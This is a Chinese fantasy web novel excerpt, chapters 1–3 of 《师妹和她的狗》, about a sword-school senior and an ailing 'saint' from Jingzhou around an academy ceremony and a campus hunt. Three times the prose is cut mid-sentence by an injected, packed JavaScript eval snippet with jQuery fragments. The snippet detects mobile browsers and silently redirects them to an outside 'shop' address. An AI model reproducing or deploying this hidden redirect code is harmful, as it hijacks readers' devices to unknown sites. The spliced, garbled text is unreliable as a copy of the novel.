《师妹和她的狗》
1. 仙洲大典
“你在哪儿?”
“鲸洲。”
“好,等我,我会来找你的。”
“一定要等我。”
……
莲华殿恢宏宽阔,架梁也高,遥遥离地十余丈。昨晚,燕折青在那上面将就枕了一夜。
架梁本不是个舒服的睡处,但他意外梦到那件很在意的事,害他沉迷睡梦不可自拔,唇一直翘。
卯时天光破晓,莲华殿开启,喧闹悠悠浮上来,梦中人与清净一道远去。
沉重的殿门伊一打开就径直飞入几道凌厉剑光,长剑划破沉寂,几位仙院弟子有说有笑地踏入。他们身后跟着进来黑压压一片机关人偶,结队如军簌簌踏步;大殿上空,机关鸟泼墨般飞进,四散开来,掀起风浪阵阵。
殿里阵仗不小,但燕折青执拗地不愿醒。
于是,他垫在脑后的剑发出一声清越剑鸣。
燕折青轻啧,无可奈何地睁眼,懒懒散散地坐起身,给自己甩了个清洁符。他冷淡瞥着架梁下的热闹,按了按自己唇角,感觉有点点酸。
有只机关鸟歪歪扭扭地飞过来,被燕折青抬手别开。
“不用叫了,我起了。”
底下动静那么大,睡熟的猪都能醒。
他没好气地想。
但因着这句话,机关鸟卡住了。
它没听懂,悬在空中努力地反应了一会儿,又慢慢飞回燕折青身边,张开鸟喙就要发出声响。
燕折青摇头,叹气,伸手便握住了它长长的喙。
笨鸟。
没救了。
“你醒了啊?”
下面,原方野的大嗓门响亮。
“嗯。”
燕折青淡淡应一声。
为着仙洲大典,他昨晚忙到三更天,懒得回自己剑府睡,于是就把莲华殿架梁拾掇拾掇,凑合了一夜。
在被吵醒之前,他睡得还挺香。
呵。
原方野不懂他心里的不痛快,只是咋舌,“你真是硬骨头,没枕头没被褥都能睡,也不嫌架梁咯得慌。”
“嗯。”
“还得忙活好几日呢,你该不会每晚都在架梁上凑合吧?”
“嗯。”
连着听了三声嗯,原方野感觉自己被敷衍了,有些不满地嚷嚷:“光是嗯,没别的词了啊?你今天起床气真大,明明醒了有一会儿了吧,怎么还没散干净呐。”
燕折青掀唇一笑,漫不经心地从架梁上翻下来,拎着剑平稳落地。
“现在散干净了,”他修长的手指弹弹剑鞘,扬眉道,“我去膳堂提点早膳回来,你要吃什么?”
“还去膳堂呢。”
原方野哼了一声,从芥子戒中掏出还冒着热气的吃食,递过去。
“早膳我给你带了,你随便吃点吧,吃完还得干活。唉,事儿还多着呢。”
燕折青接过,听他大倒苦水,“布置莲华殿的弟子被分走一批去了凤凰道场,你说人少点就少点吧,可管事的天阶弟子也缺席!”
“姬妙音从昨天中午睡到现在,根本没人能叫醒她。还有师平秋!不知道他又去哪儿赚钱了,三天了,我连个人影都没瞧见!”
“这些不靠谱的家伙!”
被迫揽活儿的原方野愤愤不平,牙齿磨得咯咯响。
燕折青长眉俊目,淡定无比,“别气,我来解决。”
他可不会让这些混账连累自己多干活。
燕折青叼了块甜糕,不紧不慢地拿出公输尺,拉出师平秋那一行就开始发传文。
燕:「莲华殿发三洲石了。」
秋:「?」
燕:「来。」
秋:「……一刻钟。」
接着,燕折青又从芥子戒里抽出两张傀儡符,他抬指注炁,炁经流处符文微亮,纹路灵动。同时,长剑无声出鞘,气势汹汹地驱了一只机关鸟过来。
“把傀儡符贴到姬妙音身后。”
燕折青对机关鸟下了机关咒令。
既然姬妙音睡不醒,那就不用醒了,有傀儡符操纵,就算睡着也能起来干活,不耽误。这就叫变通。
于是,机关鸟衔着傀儡符歪歪扭扭地飞出殿外,而烦心事一扫而空的原方野揽着燕折青的肩往莲华殿深处走,边走边赞,“还是你有招儿!”
他笑得眉眼弯成月牙。
“哎,你是不是忙完大典就要去鲸洲了?”
“对。”
“你为啥突然想去鲸洲啊?人生地不熟的。”
燕折青闻言墨瞳微动,些许郁色隐入高挺的眉骨,他兀自在心头把原由过了一遍,回答时讳莫如深,只道:“保密。”
总之,他一定要去。
原方野挠挠头。
这事他问了大概有七八回了,但燕折青无论如何都不肯说。
行吧。
“早去早回。”
*
仙洲大典正式开始那日,三洲开始落雪,整个仙院鹅雪纷扬,千山万峰皆堆白,盈满雪意,飘渺如画。
天色尚泛着鸦青时,无数自一十四洲各处远道而来的少年们便兴高采烈地结伴出了弟子客舍,一股脑涌进试炼场参与入院试。
他们的问道之路,或许就由此而启。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579201|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>楚慈玉在大典前一夜就孤身到了三洲,她在仙院客舍落脚,简单洗漱后睡下,但等她再清醒过来时已经是大典的最后一日。
几个日暮悄然无声地结束,就连今日也过去大半了,眼下黄昏将近。屋里灰扑扑的,窗外薄雪未停,三洲仙院的客舍覆在遮天雪色中。
楚慈玉知道如果再不抓紧时间,或许真的会错过仙洲大典。
可她依旧窝在榻上。
她没有办法抓紧时间。
微塌的脊背紧紧贴着床褥,坐不起身,任何轻微的动作都会痛得人冷汗淋漓,连抬抬手指很困难。
无能为力,无事可做,只好借着余光默默看窗外映进来的雪光。
这是楚慈玉第一次见到雪。
鲸洲风调雨顺,四季如春,从不落雪,是一十四洲人皆称道的好地方,而她前十余年来从未踏出过鲸洲,从未离开过那个好地方。
天越来越暗,支摘窗映入的光一步步退走,楚慈玉很轻地吐息着,撑着精神。
其实,仙洲大典可能结束了。
但她还在等。
半盏茶后,身上的僵麻感渐渐散去,楚慈玉受着痛慢慢起身,她的脊背挺直又瘦削,亮缎似的墨发滑落不少到肩前,露出一小截白如玉的颈。
一连躺了几日,身子还有些不听使唤,她有些踉跄地走到桌前,倒了杯热茶。
茶水滚烫,热意很快递到杯壁。楚慈玉没喝,只是将手搭在瓷杯上,很快,冰凉的指尖暖和起来。
旁边,公输尺叮叮咚咚地跳出传文。
传文全都来自某个联络群,楚慈玉扫了眼,记得在睡觉前自己还没有被拉进去。
慕:「楚慈玉好久没发传文了,你们说,她还活着吗?」
木:「你死了她都不会死。」
水:「这几日她犯病,别吵她。」
慕:「哦哦我忘了,也对,要不是她病着,肯定早退联络群了。」
慕:「可现在也该好了吧?楚慈玉,楚慈玉,你回话啊,我快闲出鸟了。」
百:「你真欠揍呐,你又不是不知道她一玩公输尺就会被烫爪子。」
慕:「嘻嘻。」
慕:「我是在关心她,毕竟,她脆成那样,真的可能随时随地没命,不是吗?」
…………
传文跳出无数条,频频提到她,但没什么要紧事。楚慈玉搭着眼帘回了一个「活着」,然后便退出联络群,不再理会吵吵嚷嚷的公输尺。
她披上了厚重的大氅,撑开一柄竹伞,推门走入屋外的漫天风雪中。
或许还来得及,楚慈玉想。
2. 结典礼
仙洲大典三年一届,庄重非凡,届时仙院会开放入院试,招收新弟子。
有心求学的少年须在此期间内抓紧时间闯试入院,但凡错过,只能等下一个三年。只有顺利通过入院试,新生才会被录入仙院名册,获得若木的承认。
若木是三洲仙院最重要的象征。
数千万个春秋前,三洲满布魇气的贫瘠土地上生出第一颗若木神树,第一缕阴阳之气始聚。
后来,星移斗转,沧海桑田,白驹过隙间,三洲改天换地,由不毛之地转变为气炁充沛的宝地。
一群志同道合的修士在若木旁建起仙院。
几万年来,三洲仙院走出过许多问鼎一十四洲的强者,声名鼎盛,时至今日,仍有无数天才少年慕名而来。
三洲仙院弟子身份的唯一认证就是若木的承认,别的一切都不管用。
楚慈玉清楚自己身上的老毛病,对她可能会错过大典的事早有预料,已经提前做了别的准备,就是不知道那准备能不能好好派上用场。
她一路行至凤凰道场的白玉阶下。
正值盛典,四下里都是热热闹闹的,欢声笑语弥漫。风雪小了些,似是打算消停一阵儿,晚霞渐生,青石板的小小阵法开始运转,微光流动间积雪堆慢慢融掉,水痕转瞬即逝。
楚慈玉收伞,拾级而上,抬眼眺望。
只见三洲若木高耸指天,屹立破云,一眼望不到顶,苍穹与绚丽晚霞都被它庞大的枝桠截下,如锦带半挂。若木下宫殿林立,高塔玉白,道场恢宏,最中心的是莲华殿,金碧辉煌,雕栏玉砌。
楚慈玉周围尽是叽叽喳喳,兴奋不已的少年们。与她不同,他们来到道场是为了观赏结典礼,这时他们初入仙院,万物都新鲜美好。
天色渐暗,凤凰道场四周如游龙般燃起一排高低有差的橙黄宫灯,暖光映来,照亮人人眼底笑影。
无数身着弟子袍的少年里,唯有楚慈玉着寻常衣袍握着伞,与周围格格不入,引得少数人侧目。
而她忽略了旁边的好奇目光,只是神情平静而专注地在人头攒攒中寻找着什么。
若木,学宫,凤凰道场,一一扫过,灯火万丈通明,人影重重交错相叠,唯独没有要见的那个。
楚慈玉继续往深处走。
人群拥拥挤挤,如潮水四涨,她身处其中,似随波逐流的浮萍。
忽然,莲华殿金顶上一抹反射而来的亮光轻轻晃过她眉眼,这光亮极细微,越过人群,有些颤颤巍巍,却被楚慈玉敏锐地捕捉到。
她抬眸,望向莲华殿金顶。
只见金顶上不知何时多出几位迎风悬立,衣袍猎猎的玄衣青年,他们高挑英挺,风姿绰约,举止随意潇洒,皆负剑,在风声呼啸的莲华殿金顶闲庭信步,谈笑风生。
忽地,其中一人从自己背上扯下几张傀儡符,拧眉揉成一团,直直朝最中心那位玄衣青年掷去。
她似乎还骂了句什么。
而最中心的那位玄衣青年唇角一勾,挑眉抱臂,长身玉立无所畏惧。
他腰间长剑出鞘,抵挡在前,符纸团刚靠近一点就立马自燃起来,火势猛烈,焰舌极明艳,火光将长剑照得雪亮,又被跌宕地折射。
它悠悠越过夜色与人群,晃过楚慈玉眉眼。
虽然火光一息即灭,可玄衣青年俊逸的脸庞却被清晰地映出了。他眉眼生得极优越,比春华更浓烈,比寒剑更锋利,无人见之不赞叹。
凤凰道场有人认出金顶上的人,惊喜道:“快看上面,是仙院剑家弟子!”
人声鼎沸中,楚慈玉静静看着远处莲华殿上那个玄衣青年,呼出一口白气。
找到了。
她想。
此刻天将暗未暗,若木繁枝茫茫,玉白高塔明光融融,宫殿彻亮,自大殿至道场,宫灯累累如长龙,万千光晕却不及那一人风采。
他笑起来张扬又爽朗,立于高处任狂风掀动衣袍,自在潇洒,跟梦里有点不一样。
美人如花隔云端。
楚慈玉唇边不自觉浮起一点笑意,她眨也不眨地静静看了片刻,垂眸时眼底犹有笑影。
楚慈玉好心情地拨弄着摆在身旁的竹伞,想着见到了就该离开了,但有点迈不动步子,心底泛起很淡的舍不得。
要不再呆会儿。
她煞有介事地纠结。
伞尖百无聊赖地轻点地面时,忽然有人蛮横地拨开人群,气势汹汹地冲到她面前。
“楚慈玉!”
这声音熟悉得过分,过去十余年里每每听见从未遇到过好事。
楚慈玉冷淡瞥过去,毫不意外地见到闻人日影与闻人秦的身影。
他们是楚慈玉的堂姐堂兄,当今鲸洲的二皇女与三皇子,两人身后还跟着各自的家臣。
“你怎么在道场,来看热闹吗?”
闻人日影一见楚慈玉就笑了,他虚着眼上上下下扫过她,瞧见她没着弟子袍仍作平常装束,露出毫不意外的讥讽神情。
楚慈玉一向是不理会狗吠的,见状只是收回目光,继续垂眸想着先前的打算。视闻人氏的孩子为空气这件事,她十余年来熟能生巧,屡战屡胜。
但闻人日影今天难得不在乎楚慈玉的无视,比起她的忤逆,他有更快活的事要告诉她。他打了个响指,神情得意洋洋,声调因为努力压着笑而变得古怪。
“欸,对了楚慈玉,你是不是还以为自己可以靠仙院铭牌不参加入院试,直接进三洲仙院内门呀?”
仙院铭牌四字一出,周围有几人顿时竖起耳朵,悄悄用余光窥探这边的热闹。
这可是好东西呀!
谁都知道有了仙院铭牌,就可以直接做仙院内门弟子。十四洲势力盘根错节,任何地方都少不了人情往来,三洲仙院当然也不例外。仙院额外增设了少数特别的内门名额做顺水人情,供某些资质不足以通过入院试的二世祖来仙院混几年日子。
此次前来三洲,楚慈玉确实为自己准备了一块铭牌。鲸洲宗室子弟中,除开她,似乎还没有人会落魄到要用上仙院铭牌才能当特招生。
“帮你送来铭牌的礼官不知尊卑,出了鲸洲就敢藐视皇威。我还没见过仙院铭牌长什么样子呢,大典那日碰见她,寻思拿来看一眼长长见识,她竟然不给。”
闻人日影耸耸肩,语调放低了些,“我有点点生气欸,稍微动了手,结果——居然不小心把你的仙院铭牌摔碎了,可能碎得确实不像样吧,据说仙院那边都不认账了。”
他话里是装模做样的愧疚。
“我也不知道铭牌那么不经摔,害你不能进仙院了,真是对不住啊。楚慈玉,你会原谅我的,对吧?”
好不容易说完这一通有意激怒对方的话,闻人日影终于忍不住捧腹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579202|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大笑,他笑得太开心,引得周围人嫌恶地退避。
不过这一回闻人日影依旧没能从楚慈玉脸上看到他想要的神色,不论是愤怒还是悲哀,似乎从来都不会出现在她眼中。
不过他也早就习惯了,他抬指揩了揩眼角的泪光,耸耸肩,“难为你万里迢迢跑来三洲,今晚就赶紧收拾行李麻溜滚回去吧,你离宫已好几日,想来大皇姐和四皇弟对你应该甚是想念。”
楚慈玉抬眼看向闻人日影,眸子冷然似两丸墨玉,后者不偏不倚地对上她的目光,若无其事地反问。
“欸你居然看我了,你怎么这样看我呀,是生气了吗?”
“别这样可怜巴巴的,难不成你还指望我替你去向仙院陈情吗?”
想象到这种可能,他尾音上翘,有些兴奋,咬字时语调不受控制地微颤,“那你求我,要是你求求我,说不定我真的愿意帮忙呢!”
楚慈玉笑了。
不知何时,原来消停的雪又开始下,凉幽幽的雪粒落在所有人发间,带来透骨的寒意。
她说:“指望畜生么?”
比雪意更冰冷的是她玩味的神色。
“我可从没做过这种事。”
冰冰凉的雪花不断提醒着楚慈玉,这里不是鲸洲,这里逢冬有雪,这里,她可以杀掉任何想杀的人。
她不再停留,转身离去。
莲华殿金顶依旧风声猎猎。
而且情况有往越来越糟的方面恶化的趋势,从微风细雪变成狂风暴雪。
原方野拈去砸在鼻梁的雪粒,发起牢骚,“我们还要在这里罚站多久啊,下头的小家伙们倒潇洒,想走就走,我可是站得都腰疼了。”
他长长地哎呦一声。
姬妙音不理人,头一歪,站着睡了过去,师平秋压根没来,不知道又到哪儿发财去了。
原方野:……
他恨铁不成钢地将目光投向自己最好的兄弟燕折青,刚要寻求一点安慰,却又顿住。
燕折青少见地没搭他的话,好看的剑眉拧起,遥遥望着下方的道场,专注而不自知。
道场里人挤人,一眼望去有无数个墨黑的发顶,像挤在一窝的燕子,但这热闹又乱哄哄的景况里,燕折青的目光却被一抹身影牢牢撷住。
“你在盯什么?”
原方野摸着下颌,好奇地凑到燕折青身边一起看。
金顶上的其余人也跟着望去。
燕折青回神后轻啧,轻描淡写地遮掩,“没什么。”
原方野才不信这话,没什么才怪呢,要真没什么燕折青怎么会盯着看这么久,他本来还想多问问,但身旁人下意识的出声却打断了他。
“等等,那个没穿弟子袍的人,那不是——咳咳,她怎么会来仙院就读!”
“谁?”
燕折青敏锐地追问。
一时间,金顶众人的注意力都聚了过来。
“……不是什么值得在意的人。”
那人抿唇,自觉失言,“就是我们鲸洲的小圣女。”
原方野歪头,含着困惑,“你语气怎么怪怪的,听着好像跟她有过节。”
对方闻言有些尴尬,勉强撑起笑容,“嗯,因为她在鲸洲的名声……”
他顿了顿,没继续说下去。
“超烂的呢。”
有个温和女声接了这一句。
3. 青天猎
大典结束后,仙院有三日假。
入选仙院的弟子们陆陆续续从客舍搬了出去,执事堂为他们分配了新的寝舍,这三日他们可以好好休整一番,从此承仙缘别凡尘,平步青云。
而那些落选的少年也得抓紧这三日收拾行囊,早早离开三洲,到别的学宫再碰碰运气。
三日假的最后一天,是严冬里难得的晴日。支摘窗半合,晴光急不可待地从罅隙处流泻开来,楚慈玉在客舍里翻书,有人来敲她的木门。
“203舍的,听说你错过了入院试,我们这帮人参加了入院试也没过,算是和你同病相怜。”
“但就这么离开也太没气势了,要不要跟我们一道去找点好玩的事儿做!”
门外的少年们高声邀请,语调抑扬顿挫,夹着朗朗笑意,不见落选的颓丧与失落,反而朝气无限,似烈夏的晨光。
楚慈玉推开窗,撑在窗棂问:“什么事?”
“去三洲仙院院门前喊话!”
“喊什么话?”
方才还热情高涨的小家伙们一听这话霎时偃旗息鼓,众人你看看我,我看看你,看着看着就忍不住笑着打闹起来。
“你说!上回我说过了!”
“我不要,你来你来!”
“不讲不讲……”
楚慈玉没跟这样的少年打过交道,含着些许好奇打量他们的小动作,耐耐心心地等着他们的后言。
好一会儿,有个圆脸少女被捉出来推到楚慈玉眼前。她瞪大眼,似乎懊恼自己没能躲好。
“就你没喊过了,快点啊!”
有人催促着。
“好好好,别急嘛。”
而被赶鸭子上架的钟灵咳嗽一声,昂起下巴,叉腰,气势如虹。
“三十年河西三十年河西,莫欺少年穷!”
“此处不留人,自有留人处!”
这几句铿锵有力,慷慨激昂的话一出,楚慈玉沉默了,她清浅的目光落在对方脸上,煞有介事地思忖自己该说什么。
应对这种事她委实没有什么经验,鲸洲之外的世界比意料中有意思,就连遇到的人也很独特。
不过想也知道,去仙院门前喊这种话——
找点好玩的事儿做,不对。
找点脸丢,对。
钟灵红了脸,像熟透的软蟹。
“词,词儿也可以改的……”
“你,你长得好看,我们可以让你站后面,仙院掌事出来揍人的时候,我,我护着你逃。”
楚慈玉莞尔。
就连她自己也没发觉,推开窗后,她眼里便盈起了淡淡笑意。
“好哦。”
*
暖阳落到松林间,为松针抹上一层蜜色。
仙院门前,少年们背着行囊与楚慈玉挥手话别,钟灵笑得灿烂,双颊梨涡深深。
其实方才的喊话并没有照计划顺利进行。
这伙闹事的愣头青一到仙院门前,嘴都还没张开,就被在院门旁溜达着观鸟的仙院掌事逮住了。
出师未捷身先死。
两波人面面相觑。
仙院掌事脸色一沉,嘴角的冷笑还未勾起,带头人便当机立断地大吼一声,“分开跑!”
少年们当即抱头鼠窜!
但仙院掌事抬手就把众人定在了原地。她悠哉悠哉地挨个拍这帮少年的肩,得意洋洋,“跑什么,不是要喊话么,喊都没喊,跑什么?”
“敢做就要敢当啊,连这点担当的气概都没有,还怎么与天争道!”
众人冷汗淙淙而下,又羞愧又害怕时,掌事将他们的定身解了。
“不准跑,就在这儿呆着。”
“我知道你们这帮年轻气盛的小子来干什么,放狠话嘛,回回都有的事,喊吧,别磨蹭了。”
少年们一愣。
掌事语气虽然听着凶,但压根没有跟他们计较的意思,反而透露出几分宽和。
其实,仙院承办过的仙洲大典数也数不清了,发生过的怪事不计其数,做掌事的早就什么都见过了,哪会在意这点小冒犯,若凡事都斤斤计较,早该被气得驾鹤西去了。
况且,少年的鲜活劲儿总是很讨人喜欢的。
“要喊就喊出气势,”掌事在芥子戒里掏了掏,几枚小巧铜钟落入众人怀中,“拿到扩音钟的人先喊!”
少年们目瞪口呆,不知为何,他们竟然感觉掌事比他们自己准备得还周全。
来不及多想,小家伙们被赶鸭子上架,一个接一个地捏着扩音钟,脸色通红地对着三洲的如洗碧空,仙山的万丈云雾咆哮。
“三十年河东三十年河西,莫欺少年穷!”
“此处不留人,自有留人处!”
掌事凶神恶煞地挑剔。
“大点声!”
“没吃饭么,一点力气都没有。”
“这句没新意,换!”
“年年都是这些词,我耳朵都听起茧了!”
钟灵喊完后声音都哑了几分,她把扩音钟递给楚慈玉,做了个鼓劲儿的手势。
“一定要使出吃奶的劲儿啊,不然掌事不会让你过关的!”
她说完瑟缩一下,显然心有余悸。话还没说完,掌事的目光就敏锐地移了过来,钟灵一激灵,吓得立马抱臂看云彩,装作自己啥也没说。
周遭少年们被迫充满豪情的声浪犹在耳旁,掌事平静单一的声调却游刃有余地隔开他们,径直传音进楚慈玉脑中。
“你若不喜,不必勉强。”
楚慈玉抬眼,看见掌事腰间佩着的玉牌,其上用三洲古文写了术数两字。
果然是术数家修士啊。
所以才能大致判断出她的命星情况,从而宽待她,因为那些少年于修道一途仍有路可走,而她没有。
不过——
她握着扩音钟,朝钟灵微笑。
“好。”
走到今天,能勉强的,不能勉强的,她都勉强过了。
歇斯底里的喊话结束后,众人都声嘶力竭,掌事淡定地挥袖收走扩音钟,施施然离开。
钟灵离开前,不舍地抱了抱楚慈玉。她脸蛋红扑扑的,额间还带着汗水,神情是极欢快的。虽然只相处了很短的时间,但不妨碍她觉得自己和楚慈玉已经是挚友了!
“你接下来想去哪儿?我打算去白玉京的青莲学宫再试试。”
楚慈玉从芥子戒中拿出罗帕,按在她脑门上,“我还没有想好。”
钟灵脑袋晃了晃,唔了一声。
“仙院的招生最早,仙洲大典结束后,其他学宫也陆陆续续开始招生,你要注意时间哦,别把其他学宫也错过了。”
“我会的。”
“那我先走啦,再会!”
“再会。”
钟灵背着行囊就跟着其他少年一道下了山,待他们的身影淹没在群山的雾罩中时,楚慈玉回身往客舍走。
她与三洲仙院之间的事,还没有结束。
三日假的最后一天,激动难耐的不止初入仙院的新生,还有仙院里呆了些年岁的老生。
仙洲大典一过,紧接而来的就是青天猎了。
每逢大典,为了方便一十四洲的少年们入院求学,仙院会解开诸多作隔世之用的禁制,但相应地,某些不干不净的东西也极易趁机混进来。
威胁仙院安全的异常事物必须被清扫,因此,青天猎应运而生。
仙院分为内外门,内门弟子又划分出天地玄黄四阶,青天猎仅限天阶弟子参加,仙院学派间各自为战,奖励丰厚,向来是弟子们分毫必争的盛事。
今日,藏经阁五楼来了不少天阶弟子,他们列席而坐,一眼望去,武家医家符家术数家机关家等仙院学派皆有人出席。
但剑家席位却意外地人影寥寥。
燕折青撩袍入座,抿了一口青梅酒,略为嫌弃地推到旁边。
难喝。
他撑着下颌,阖眼打起盹。
自从在莲华殿架梁上睡觉梦到那件很在意的事后,他夜夜寻架梁当榻,什么莲华殿万川殿守一殿,都被他睡遍了,可惜梦中人竟再不肯来。
一连几日下来,夜里睡不好,白天就有点犯困。
藏经阁阁主踏着晴光走进来,经过燕折青身旁时拍了拍他的肩,笑道:“你怎么也嗜睡起来了?被姬妙音传染了?”
燕折青闻声睁眼,直起身子,嘀咕一句。
“您这骂得也太脏了。”
阁主失笑,指指他。
阁主的位子在上座,但他没去,而是与燕折青同席而坐,他眉眼间书卷气浓重,倒茶的动作温文尔雅。
“今年的青天猎,你打算怎么办?”
“部分在外游历的剑家天阶弟子尚未归院,妙音定然又会睡完全程,平秋被术数家用两千三洲石挖走当外援,原方野今年要去帮着医家。如此算来,能打的剑家弟子便不剩多少了。”
燕折青垂头佯装苦思,随后在对方关心的目光里满不在乎地一笑,自信张扬。
“没事,”他扬唇,露出虎牙,“我搞得定。”
阁主含笑颔首,神情温和。
对面席位的弟子偷偷瞧了他们半天,好不容易逮到两人没说话的空隙,当即大喊,“阁主,燕折青和您说什么呢,能不能给我们透露一点啊?”
他们警惕的原因无他,实在是因为青天猎就由藏经阁阁主一手主持,而燕折青又向来与阁主交好。
“也没说什么。”
在他们的灼灼注视下,阁主笑着摇摇头,呻了一口茶,温声道。
“折青说要干翻你们。”
燕折青额角青筋猛然一跳。
而满座先是一静,接着便哗然不止。
“我今年真得好好教训你了折青!”
“不是吧,这么狂?”
“看来我是时候出手了,果然,还是藏不住吗。”
“术数家的人别怕,全部退至师平秋身后。”
“说大话小心咬到舌头哦。”
“无所谓,我会出手。”
“……”
众人七嘴八舌,但矛头一致对准了燕折青。
燕折青不可置信地哈了一声。
搞没搞错,他可还什么都没做!怎么阁主说什么这帮人就信什么啊,怎么想他燕折青都不会说出如此不顾同窗情的话吧!以为他看不出来吗,这帮混账很明显是在借题发挥吧!
他无奈地捏了捏眉心。
算了,事已至此。
燕折青将茶杯扣在桌上,朝对面席位群情激愤的青年们挑眉一笑,笑容带着几分邪气,意气飞扬。
“怎么,不服?”
“干翻的就是你们!”
*
清早,微寒,雪意隐约。
楚慈玉醒来后简单梳洗了一番,换了身浅紫衣袍,带上公输尺就出了门。
客舍空空荡荡,静极了,能听到过廊的风,像她一样赖在仙院不走的人实在很少。
楚慈玉打算去阵家学堂听听课,前几日她弄清了三洲仙院的大致布局,所以此刻找起路来并不困难。
她有心逛一逛,于是走得不快,也偶尔停下步伐,伸手抚摸沿路的奇异花木。有只橘黄的狸奴慢悠悠地迈步过来蹭她的鞋履,见她给不出吃食,又离开了。
一切都平静,不出奇。
但楚慈玉不知道整个三洲仙院已经布下了极其严密的搜罗阵,像她这样不该滞留仙院的人,在阵中如同一个不断闪烁的光点,参与青天猎的弟子只要靠近她身边,便会立刻收到提醒。
楚慈玉一无所察地踏上湖面长桥,走向湖心,她的身影被雾气与高高的芦苇掩得若隐若现。
而下一刻,两位剑家天阶弟子循着弟子玉牌的提醒不断朝她逼近,他们没上桥,足尖一点,直直掠向湖心。
剑势吹去雾气,压平芦苇。
前方的浅紫衣袍头也不回。
反而是追过来的天阶弟子猛然刹住了脚步,快速退回了芦苇丛后。
“怎么会是她!”
符千城难掩惊讶,没想到再次见到楚慈玉会是在弟子玉牌示警的情况下。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579203|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昨夜骤然在莲华殿金顶上瞧见楚慈玉的身影,他已然惊讶得失态。
但现在是什么情况?
符千城感到有些混乱,青天猎期间,玉牌是不会对录入仙院名册的子弟示警的。
除非楚慈玉根本没入仙院!
是了,符千城想起来,金顶一见,楚慈玉确实没着弟子袍。
他眼神顿时暗了暗。
在鲸洲,圣女地位超然。他是鲸洲子民,合该敬重圣女,但此刻他身在仙院,按仙院规矩办事完全说得过去。楚慈玉的身份虽贵重,但可惜这里并不是她能作威作福的地方。
符千城面露冷笑,不再犹豫,提剑就要冲上去,但忽地,一条白皙结实的小臂横在了他身前,硬生生将人截了下来。
“阿月?”
他有些困惑地扭头,见到一双秋水盈盈的漂亮眼眸。
栾延月朝他一笑,很有闲心地打趣道:“身为鲸洲子民却敢对圣女动手,你是嫌自己的日子过得太快活了?莫非,你和我一样这辈子都不打算回鲸洲了?”
符千城收剑入鞘,侧头生闷气,“我没想那么多,只是照规矩办事。”
“当真?”
“嗯。”
“嗯?”
“……不真,”他败下阵来,铁青着脸说出了心声,“我就是气不过!”
“若非当年她任性妄为,你怎么会在那么小的年纪被赶出鲸洲,不得不万里迢迢地来到三洲仙院求学?”
提到旧事,栾延月神情淡了几分,她语气平缓听不出喜怒,“我似乎说过很多次,让你别管我和她之间的恩怨,我自己的事自己会处理,我想你能明白我的意思。”
“现在你只需要做一件事,那就是装作什么都没看到,以我们的身份招惹她没好处。”
符千城看向她的目光很复杂,眼中心疼不解五味杂陈,但他知道栾延月是一个恩怨分明有主见的人,好一阵儿,终于咬牙点了点头。
不过,他还是有些犹豫。
“你和她的恩怨我不掺合,但我们真的要放她走吗?”
“我们可正在参加青天猎,抓到违规滞留仙院的人有分数拿。今年剑家参猎弟子不多,每一分都很重要,放过她未免太可惜了。”
栾延月不以为然地一笑。
“没事,不是还有燕折青么?他自己说的要把大家都干翻。”
说完,她沉默地望向楚慈玉的背影,静静看着她下了桥。湖面的另一边是阵家学堂,坐落在无数个巨大的太极八卦图中。
栾延月垂眸,拿出公输尺,不紧不慢地在联络群里发传文,「阵家学堂,无。」
在她的传文前,有很多别的传文,是其他参与青天猎的弟子的实时报告。
「无相山,已除。」
「剑家学堂,无。」
「凤凰道场,已除。」
「潜龙渊……」
传文发出后,短时间内不会有天阶弟子再来阵家学堂巡猎。
栾延月收起公输尺,和符千城离开了。
两人身影消失后,楚慈玉回头,若有所思地看了看已经空无一人的湖与桥,然后神色平静地走入了阵家学堂。
遇到很久不见的故人了。
她想。
天光流逝,转瞬即至申时。楚慈玉在阵家学堂消磨了半日,哪都没去,甚至连饭都没吃。
课歇时,前桌的人握着公输尺,神情激动地对旁边人开口:“快看青天榜!青天猎的比分刚刚出来了,术数家与剑家平分秋色,都是榜首!青天猎还有一柱香就结束了,不知道今年到底谁能赢!”
“!快给我瞧瞧!”
“等等!为什么我这边看阵家才是第一?”
“笨蛋,你把公输尺拿反了!”
“有人在意机关家么,他们在哪个犄角旮旯里啊,我怎么找不到。”
一时间满堂叽叽喳喳,很是热闹,就连掌教都忍不住摸出自己的公输尺。
闻言,楚慈玉有些好奇。
青天猎?
那是什么?
她拿出公输尺,却没能滑出所谓的青天榜,或许因为她并非仙院子弟,公输尺没有接洽上仙院地域的公输密钥,所以看不了他们内部的讯息。
楚慈玉正思忖着要不要找个人帮忙连下密钥,她的公输尺上却恰巧弹出几条新传文。
是熟人发来的。
水:「玉,在三洲仙院呆得可好?」
